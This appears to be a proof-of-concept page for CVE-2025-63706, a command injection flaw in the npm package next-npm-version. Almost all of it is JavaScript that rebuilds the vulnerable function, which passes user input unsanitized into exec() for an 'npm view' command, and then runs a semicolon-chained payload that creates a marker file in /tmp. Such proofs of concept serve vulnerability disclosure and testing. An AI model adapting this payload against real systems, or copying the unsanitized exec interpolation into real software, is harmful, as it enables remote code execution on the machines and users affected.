CVE-2025-63706 next-npm-version命令注入漏洞

// PoC for CVE-2025-63706: Command Injection in next-npm-version // This demonstrates how unsanitized input leads to RCE. const { exec } = require('child_process'); // Simulating the vulnerable function in next-npm-version 1.0.1 function checkVersion(userInput) { // Vulnerability: Direct interpolation of user input into a command string const command = `npm view ${userInput} version`; console.log(`Executing: ${command}`); exec(command, (error, stdout, stderr) => { if (error) { console.error(`Error: ${error.message}`); return; } if (stderr) { console.error(`Stderr: ${stderr}`); return; } console.log(`Output: ${stdout}`); }); } // Attack Vector: Injecting a shell command to create a proof file // Using a semicolon to chain commands const payload = "1.0.1; touch /tmp/CVE-2025-63706_PWNED; #"; checkVersion(payload);